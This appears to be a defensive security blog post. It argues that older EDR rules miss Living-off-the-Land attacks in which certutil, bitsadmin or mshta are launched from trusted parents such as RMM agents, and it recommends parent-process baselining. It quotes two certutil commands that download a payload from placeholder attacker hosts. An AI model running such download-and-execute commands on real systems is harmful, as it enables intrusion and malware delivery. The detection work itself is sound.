LotL is back — and your EDR rules from 2022 are blind to it

"Living off the Land" — using legitimate, signed Windows binaries to do attacker things — is one of the oldest tricks in the book. Most SOC teams wrote rules for it years ago and stopped thinking about it.

Three incidents we triaged in April share a pattern that none of those legacy rules catch. The binaries are the same: certutil.exe, bitsadmin.exe, mshta.exe. The technique is the same: download-and-execute, or fileless payload retrieval. What's new is the framing — these binaries are now being launched from contexts that 2022-vintage detection rules implicitly trust.

What changed

The classic "certutil downloading from the internet" rule fires on something like:

certutil.exe -urlcache -split -f http://malicious.example/payload.exe

Most modern intrusions don't look like that anymore. They look like:

# launched by a script-based RMM tool that's whitelisted in the environment
ConnectWise.Automate -RunCommand 'certutil -urlcache -split -f https://cdn.legit-looking.com/p.txt %temp%\update.txt'

The binary is the same. The command line is similar. But the parent process is a signed RMM agent that the rule's exclusion list trusts. That trust used to be safe — RMM tools weren't a primary attack vector. They are now.

The same pattern shows up with:

• mshta launched by a printer driver service (compromised supply chain)
• bitsadmin launched by a "system update" task whose scheduled-task XML was modified by a malicious DLL sideload
• certutil launched by Office's SDX update process via a backdoored COM hijack

In every case, the immediate parent looks legitimate — it is legitimate. The compromise happened upstream.

The detection that actually works

Stack-rank your "trusted Windows binary" rules by parent-process anomaly, not by binary name. The binary is signed; the parent is the signal.

The way you do this in practice:

1. Build a baseline of parent → child pairs for your environment over 30 days. certutil.exe spawned by cmd.exe is normal in some shops, abnormal in others. Score what's normal for you.
2. Alert on rare parents, not rare children. A certutil launch from winword.exe is rare basically everywhere. A launch from your RMM is rare in some places, expected in others. Use your baseline.
3. Add network egress as a confirmation signal. Most legitimate certutil uses don't talk to the internet. A LotL certutil almost always does. Pair the process-creation event with a network event from the same PID/host within 5 seconds.

We published a parent-aware Sigma rule for the most common case (PowerShell base64 download cradle) on our detections page last week. It cut false positives by ~80% versus the standard rule in the three environments we benchmarked.

The verdict

The binaries are signed. The parents look legitimate. Your detection logic needs to move from "is this binary suspicious?" to "is this combination rare in this environment?" Static rules won't get you there. Behavior baselines and parent-process awareness will.